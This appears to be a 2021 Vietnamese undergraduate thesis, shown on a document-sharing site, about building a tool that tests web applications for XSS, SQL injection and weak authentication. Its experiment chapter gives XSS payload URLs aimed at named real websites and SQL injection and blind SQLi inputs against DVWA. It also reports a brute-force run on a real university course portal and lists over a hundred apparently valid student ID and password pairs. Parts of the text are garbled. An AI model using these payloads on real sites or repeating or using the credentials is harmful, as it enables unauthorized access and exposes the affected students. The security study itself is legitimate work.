1. Trang chủ
  2. » Giáo Dục - Đào Tạo

XÂY DỰNG CÔNG CỤ KIỂM TRA MỘT SỐ LỖI BẢO MẬT CHO CÁC ỨNG DỤNG WEB

86 5 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Nội dung

ĐẠI HỌC QUỐC GIA HÀ NỘI TRƯỜNG ĐẠI HỌC CÔNG NGHỆ Nguyễn Đức Thiện XÂY DỰNG CÔNG CỤ KIỂM TRA MỘT SỐ LỖI BẢO MẬT CHO CÁC ỨNG DỤNG WEB KHĨA LUẬN TỐT NGHIỆP ĐẠI HỌC HỆ CHÍNH QUY Ngành: Công nghệ thông tin HÀ NỘI - 2021 ĐẠI HỌC QUỐC GIA HÀ NỘI TRƯỜNG ĐẠI HỌC CÔNG NGHỆ Nguyễn Đức Thiện XÂY DỰNG CÔNG CỤ KIỂM TRA MỘT SỐ LỖI BẢO MẬT CHO CÁC ỨNG DỤNG WEB KHÓA LUẬN TỐT NGHIỆP ĐẠI HỌC HỆ CHÍNH QUY Ngành: Cơng nghệ thông tin Cán hướng dẫn: PGS.TS Trương Ninh Thuận HÀ NỘI - 2021 TĨM TẮT Tóm tắt: Ngày nay, phát triển cách vượt bậc Công nghệ thông tin mang lại nhiều tiến cho nhân loại, sống người từ cải thiện cách đáng kể Kể từ có đời Internet, người chí thiết bị công nghê kết nối với Đó thực bước tiến lớn, không lĩnh vực khoa học kỹ thuật mà cịn cách mạng lịch sử lồi người Tuy nhiên, song song với lợi ích to lớn đó, phát triển Internet ln tồn nguy Một số vấn đề bảo mật thông tin loại ứng dụng, đặc biệt ứng dụng web Từ ngày đầu Internet người ta quan tâm đến tính an tồn trao đổi thơng tin, vấn đề cấp bách nhiều doanh nghiệp, tổ chức Khơng có mức an tồn thích hợp, khai thác thương mại Internet không đảm bảo Luận văn tập trung sâu vào nghiên cứu, tìm hiểu phương pháp cơng ứng dụng web biện pháp phịng tránh Từ xây dựng phát triển ứng dụng giúp phát lỗ hổng bảo mật Sau trình nghiên cứu tìm hiểu, khóa luận đạt số kết định Thứ nhất, khóa luận nghiên cứu cách mà tin tặc thường sử dụng để xâm nhập vào ứng dụng web trình bày cách phịng chống ngăn chặn cơng Từ phát triển công cụ kiểm tra lỗ hổng bảo mật bản, tiến hành thực nghiệm với số website Từ khóa: bảo mật, website LỜI CẢM ƠN Trước tiên, em xin gửi lời cảm ơn biết ơn sâu sắc đến PGS.TS Trương Ninh Thuận – Giảng viên môn Công Nghệ Phần Mềm – khoa Công Nghệ Thông Tin – Đại Học Công Nghệ - Đại Học Quốc Gia Hà Nội, người tận tình hướng dẫn, bảo, giúp đỡ em suốt thời gian em nghiên cứu khóa luận Em xin gửi lời cảm ơn đến tồn thể thầy trường ĐH Cơng Nghệ - Đại Học Quốc Gia Hà Nội giảng dạy, tạo điều kiện cho em trình học tập nghiên cứu trường Những kiến thức mà chúng em nhận hành trang giúp chúng em vững bước tương lai Cuối cùng, em xin cảm ơn gia đình, bạn bè, người thân ln bên để động viên nguồn cổ vũ to lớn, động lực giúp em hoàn thành luận văn Mặc dù cố gắng hoàn thành luận văn phạm vi khả Tuy nhiên khơng tránh khỏi thiếu sót Em mong nhận cảm thơng tận tình bảo q thầy tồn thể bạn LỜI CAM ĐOAN Em xin cam đoan khóa luận “Xây dựng công cụ kiểm tra số lỗi bảo mật cho ứng dụng web” em nghiên cứu, tìm hiểu phát triển dẫn dắt PGS.TS Trương Ninh Thuận Các tài liệu tham khảo, trích dẫn sử dụng khóa luận rõ mục Tài liệu tham khảo Nếu có chép khơng hợp lệ, em xin hồn tồn chịu trách nhiệm Sinh viên thực Thiện Nguyễn Đức Thiện MỤC LỤC TÓM TẮT LỜI CẢM ƠN LỜI CAM ĐOAN MỤC LỤC DANH MỤC KÝ HIỆU VÀ TỪ VIẾT TẮT DANH MỤC BẢNG DANH MỤC HÌNH VẼ 10 CHƯƠNG 1: GIỚI THIỆU 11 1.1 Đặt vấn đề 11 1.2 Nội dung 12 1.3 Đóng góp khóa luận 12 1.4 Cấu trúc khóa luận 13 CHƯƠNG 2: KIẾN THỨC NỀN TẢNG 14 2.1 Tổng quan ứng dụng web 14 2.1.1 Khái niệm website 14 2.1.2 Kiến trúc tổng quan 14 2.1.3 Một số khái niệm liên quan 15 2.2 Các rủi ro bảo mật phổ biến 21 2.2.1 Lỗi xác thực 21 2.2.2 Lỗi quản lý phiên 24 2.2.3 SQL Injection 30 2.2.4 Cross-site-scripting 37 2.2.5 Cross Site Request Forgery 41 2.3 Các loại công cụ dùng để kiểm tra lỗ hổng bảo mật 44 2.3.1 Kiểm tra bảo mật ứng dụng động 44 2.3.2 Kiểm tra bảo mật ứng dụng tĩnh 44 2.3.3 Kiểm tra bảo mật ứng dụng tương tác 46 2.4 Các phương pháp sử dụng để kiểm tra lỗ hổng bảo mật 46 2.4.1 Vulnerability scan 46 2.4.2 Penetration testing 47 2.4.3 So sánh Vulnerability scan Penetration testing 49 CHƯƠNG 3: ĐỀ XUẤT PHƯƠNG PHÁP 52 3.1 Đề xuất phương pháp 52 3.2 Mô tả ứng dụng 53 3.2.1 Tổng quan 53 3.2.2 Mô tả chi tiết 53 CHƯƠNG 4: THỰC NGHIỆM 71 4.1 Kiểm tra lỗ hổng bảo mật số trang web thực tế 71 4.1.1 Kiểm tra lỗi Cross Site Scripting 71 4.1.2 Kiểm tra lỗ hổng Sql Injection 75 4.1.3 Kiểm tra lỗ hổng Sqli Blind 77 4.1.4 Kiểm tra lỗ hổng xác thực 79 4.2 Tổng kết trình thực nghiệm 83 CHƯƠNG 5: KẾT LUẬN 84 5.1 Kết luận 84 5.2 Hướng phát triển 84 Tài liệu tham khảo 86 DANH MỤC KÝ HIỆU VÀ TỪ VIẾT TẮT Tên viết tắt Mô tả HTTP Hypertext Transfer Protocol HTML HyperText Markup Language SSL Security Sockets Layer CSS Cascading Style Sheets JSON JavaScript Object Notation AJAX Asynchronous JavaScript and XML ECB Electronic codebook DAST Dynamic Application Security Testing SAST Static Application Security Testing IAST Interactive Application Security Testing SDLC Software Development Life Cycle QA Quality Assurance DANH MỤC BẢNG Tên bảng Mô tả Bảng 2.1 Bảng 2.2 Trang So sánh DAST SAST So sánh Vulnerability scan Penetration testing 45 49 DANH MỤC HÌNH VẼ Tên hình Mơ tả Trang Hình 2.1 Kiến trúc ứng dụng web 15 Hình 3.1 Tổng quan ứng dụng 53 Hình 3.2 Biểu đồ chức kiểm tra lỗi Xss 54 Hình 3.3 Biểu đồ chức kiểm tra lỗi Sqli 61 Hình 3.4 Biểu đồ chức kiểm tra lỗi Sqli Blind 63 Hình 3.5 Biểu đồ chức công Brute-force 66 Ở ta chèn dòng script vào input Lệnh gọi kiện onload = alert('XSS'), khiến cho trang web vừa load lên alert(‘XSS’) Trên thực tế, thay điền Xss, kẻ cơng thay vào mã độc cách khác để lừa đảo người dùng Link https://nbtv.vn/search?keyword=%5C%3Ca%20onmouseover%3D%22alert(document.co okie)%22%5C%3Exxs%20link%5C%3C%2Fa%5C%3E: Ở ta chèn dòng \xxs link\ vào input Khi người dùng di chuột vào xxs link, kiện onmouseover gọi alert hiển thị cookie người dùng Kết • Trang học liệu số ĐHCN Địa chỉ: http://lib.uet.vnu.edu.vn/ Kết chạy chương trình: Trang web mắc số lỗi Xss mà cơng cụ kiểm tra Cụ thể link: http://lib.uet.vnu.edu.vn/simplesearch?query=%3CIFRAME%20SRC%3Dhttps%3A%2F%2Fmeyerweb.com%2F eric%2Ftools%2Fdencoder%2F%20onmouseover%3Dalert(%27xss%27)%3E%3 C%2FIFRAME%3E%0A%0A%0A%0A Kết thực tế thực thi link lỗi bên sau: Ở ta điền vào input trang web nội dung sau: Khi di chuột vào Iframe, kiện onmouseover gọi • Trang web đài phát truyền hình Hà Nam: Địa chỉ: http://hanamtv.vn/ Kết chạy chương trình: Ở có link bị phát lỗi Cụ thể link: http://hanamtv.vn/search/?keyword=%3Cscript%3Ealert(String.fromCharCode(88 %2C83%2C83))%3C%2Fscript%3E Kết thực tế thực thi link lỗi bên sau: Ở ta điền vào input sau: alert(String.fromCharCode(88,83,83)) Như ta thêm vào nội dung html trang web alert(xss) 4.1.2 Kiểm tra lỗ hổng Sql Injection Ta sử dụng DVWA ứng dụng mã nguồn PHP/MySQL tập hợp sẵn lỗi logic bảo mật ứng dụng web mã nguồn PHP Ta demo với chức tra cứu thông tin người dùng theo Id Kết chạy chương trình: Kết cho thấy trang web dính nhiều lỗi Sqli Ví dụ với link: http://localhost:8880/dvwa/vulnerabilities/sqli/?id=1%27%20order%20by%2019 %23%20&Submit=Submit# Ta điền vào input : 1' order by 19 Và kết có sau: Ta thấy ứng dụng phản hồi lại nội dung sau: Unknown column ‘19’ in ‘order clause’ Nếu sau chạy trang web báo lỗi, tức ngầm thông báo cho người dùng biết số cột truy vấn trang web nhỏ 19 Kẻ cơng lợi dụng điều này, thử giá trị từ đến 18 để tìm số cột xác 4.1.3 Kiểm tra lỗ hổng Sqli Blind Giống với Sqli, ta sử dụng DVWA Ta demo với chức kiểm tra tồn Id ( nêu mục 2.2.3, phần trình bày Blind Sql Injection) Kết chạy chương trình: Kết cho thấy trang web có dính lỗi Sqli Blind Ở lỗi ta điền vào input: 1'-IF(substring(user,1,1) = 'a', SLEEP(15), 0)# Ở chữ user ‘a’ ứng dụng 15 giây để phản hồi Kết thực nghiệm cho thấy trang web 15 để phản hồi, dính lỗi Time-based Injection Lỗi thứ 2, ta điền vào input sau: 1' and @@version = '10.4.17-MariaDB'# Khi version database server 10.4.17-MariaDB ứng dụng trả kết giống ta điền vào input Kết điền 1' and @@version = '10.4.17-MariaDB'# Kết điền 1: Ta thấy điền 1' and @@version = '10.4.17-MariaDB'# điền kết thu Như điều kiện @@version = '10.4.17-MariaDB'# 4.1.4 Kiểm tra lỗ hổng xác thực Ta sử dụng chức công brute-force để kiểm tra lỗi xác thực số trang web Website môn học ĐHCN: Địa chỉ: https://courses.uet.vnu.edu.vn/ Danh sách username: tập sinh viên [17020100, 17021299], [18020100, 18021299], [19020100, 19021299], [20020100, 20021299] Tổng cộng 4800 username Danh sách mật khẩu: 123456, 12345678, anhyeuem Kết chạy chương trình: Ứng dụng trả danh sách tên đăng nhập mật sau: 19020478:123456 18020938:123456 19020843:123456 20020506:123456 20020574:123456 17021143:123456 18020970:12345678 17020208:anhyeuem Khi đăng nhập với username mật số người dùng: Khi tiến hành chạy brute-force với mật trùng với tên đăng nhập, ta thu kết sau: Danh sách tài khoản có tên đăng nhập mật trùng nhau: 17020205:17020205 17020220:17020220 17020361:17020361 17020405:17020405 17020596:17020596 17020611:17020611 17020624:17020624 17020636:17020636 17020654:17020654 17020666:17020666 17020686:17020686 17020713:17020713 17020720:17020720 17020744:17020744 17020806:17020806 17020922:17020922 19020124:19020124 19020244:19020244 19020361:19020361 19020389:19020389 19020390:19020390 19020450:19020450 19020548:19020548 19020701:19020701 19020712:19020712 19020740:19020740 19020741:19020741 19020745:19020745 19020763:19020763 19020784:19020784 19020794:19020794 19020815:19020815 17020928:17020928 17020945:17020945 17021072:17021072 17021196:17021196 17021281:17021281 18020111:18020111 18020133:18020133 18020173:18020173 18020226:18020226 18020421:18020421 18020435:18020435 18020490:18020490 18020531:18020531 18020572:18020572 18020678:18020678 18020701:18020701 18020722:18020722 18020764:18020764 18020809:18020809 18020840:18020840 18020854:18020854 18020898:18020898 18020915:18020915 18020969:18020969 18021014:18021014 18021019:18021019 18021119:18021119 18021133:18021133 18021147:18021147 18021173:18021173 18021203:18021203 18021210:18021210 18021228:18021228 18021238:18021238 18021262:18021262 20021157:20021157 19020896:19020896 19020899:19020899 19020943:19020943 19021010:19021010 19021129:19021129 19021145:19021145 19021195:19021195 19021291:19021291 20020152:20020152 20020183:20020183 20020220:20020220 20020296:20020296 20020297:20020297 20020345:20020345 20020348:20020348 20020378:20020378 20020427:20020427 20020454:20020454 20020502:20020502 20020508:20020508 20020570:20020570 20020573:20020573 20020579:20020579 20020585:20020585 20020608:20020608 20020790:20020790 20020883:20020883 20020910:20020910 20020924:20020924 20020956:20020956 20020968:20020968 20020975:20020975 20021085:20021085 20021086:20021086 20021094:20021094 20021249:20021249 Kết cho thấy nhiều người dùng không trọng đến việc đảm bảo tính bảo mật tài khoản cá nhân Trong quan tổ chức, tên đăng nhập thường cơng khai, cấp tài khoản mật mặc định thường trùng với tên đăng nhập, người dùng cần đặt mật đủ mạnh để tránh việc tài khoản mìn bị cơng 4.2 Tổng kết trình thực nghiệm Qua trình thực nghiệm, ta thấy nhiều trang web có lỗ hổng để kẻ cơng lợi dụng để cơng Cross Site Scripting Ngồi trường hợp nêu trên, số trang web khác dính lỗi kể sau: Đài phát truyền hình Thái Bình, Trang web xem phim phymnhanh.net, Một số trang web người dùng sử dụng mật yếu 123456, anhyeuem, Việc đặt mật khiến người dùng dễ trở thành mục tiêu công kẻ công Đối với lỗ hổng Sql Injection, website mắc lỗi CHƯƠNG 5: KẾT LUẬN 5.1 Kết luận Việc internet phát triển năm gần đem lại nhiều lợi ích Tuy nhiên, kèm với thách thức không nhỏ mặt an ninh môi trường mạng Hiện nay, đa số người dân tiếp cận với internet, đồng nghĩa với việc hacker lấy thông tin nhiều người so với thời gian trước Hơn nữa, với việc kinh doanh qua online phát triển, việc cá nhân sở hữu cho riêng trang web điều đơn giản Tuy nhiên, số trang web xây dựng chưa thực quan tâm đến vấn đề bảo mật Tình hình đặt cho thách thức lớn, bối cảnh mà công nghệ web thay đổi liên tục, phương pháp công ngày phức tạp tinh vi Sau thời gian nghiên cứu tài liệu, tìm hiểu chương trình mã nguồn mở, tơi hồn thành khóa luận với mục tiêu ban đầu “Nghiên cứu số rủi ro bảo mật ứng dụng web xây dựng công cụ kiểm tra lỗi an ninh” Cho đến thời điểm tại, khóa luận đạt số mục tiêu sau: - Tìm hiểu thực trạng vấn đề bảo mật web Phân tích tốn tính cấp thiết việc đảm bảo an tồn website mơi trường internet Tìm hiều số rủi ro bảo mật ứng dụng web cách để phòng chống Nghiên cứu phát triển công cụ kiểm tra lỗi an ninh Cross Site Scripting, Sql Injection, Rủi ro xác thực,…Cơng cụ có cải tiến đáng kể so với phiên gốc Để xây dựng hệ thống hồn chỉnh, có đầy đủ chức năng, cần nhiều thời gian kiến thức Trong thời gian nghiên cứu khóa luận, đạt số kết định, bên cạnh cịn nhiều thiếu sót: - Chưa đầy đủ chức để kiểm tra khía cạnh bảo mật trang web cách toàn diện Giao diện chưa thực đẹp dễ sử dụng 5.2 Hướng phát triển Trong phạm vi khóa luận tốt nghiệp, luận văn đạt yêu cầu đề Tuy nhiên, kết khiêm tốn Trong thời gian tới, có điều kiện, khóa luận cố gắng cải thiện nội dung sau: - Tìm hiểu thêm rủi ro bảo mật kỹ thuật cơng web Tìm hiểu vấn đề bảo mật sâu hơn, phát triển vấn đề bảo mật hệ thống mạng Phát triển công cụ cách kết hợp với việc kiểm thử hộp trắng ( phân tích mã nguồn ) Tài liệu tham khảo Tiếng Việt [1] Vũ Đình Cường, Tìm Hiểu Các Kiểu Tấn Cơng Cơ Bản & Phương Pháp Phòng Chống, Nhà xuất Lao động - Xã hội, 2008 [2] Thái Hồng Nhị, Phạm Minh Việt, An tồn thơng tin, Nhà xuất Khoa học Kỹ thuật, 2004 Tiếng Anh [3] Dafydd Stuttard and Marcus Pinto, The web application hacker's handbook, Wiley, 2007 [4] Casimir Saternos, Client-Server Web Apps with JavaScript and Java, O'Reilly Media, Inc, 2014 [5] Matthew Hickey and Jennifer Arcuri, Hands on Hacking: Become an Expert at Next Gen Penetration Testing and Purple Teaming, Wiley, 2020 [6] https://www.softwaresecured.com/what-do-sast-dast-iast-and-rasp-mean-todevelopers/ [7] https://www.esecurityplanet.com/networks/vulnerability-scanning-what-it-is-andhow-to-do-it-right/ [8] https://www.imperva.com/learn/application-security/penetration-testing/ [9] https://developer.mozilla.org/en-US/docs/Web/Reference [10] https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html [11] https://www.hacksplaining.com/prevention/xss-reflected [12] https://developers.google.com/web/fundamentals/security/csp [13] https://portswigger.net/web-security/csrf/tokens [14] https://www.kaspersky.com/resource-center/definitions/cookies ... TẢNG 2.1 Tổng quan ứng dụng web 2.1.1 Khái niệm website Website là tập hợp trang web (web page), thường nằm tên miền World Wide Web Internet chạy web server Một trang web tập tin Html XHTML truy... vào trang web khác, trang trang giả mạo hacker cung cấp Khi người dùng truy cập vào web độc này, request gửi đến trang web (thông qua form, img, …) Do request có đính kèm cookie người dùng, trang... dụng HTTP cho khu vực xác thực trước trang web, chẳng hạn home page trang web, chuyển sang HTTPS từ trang đăng nhập trở Tuy nhiên, nhiều trường hợp, người dùng cấp sessionId phiên trang truy

Ngày đăng: 07/12/2021, 19:37

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w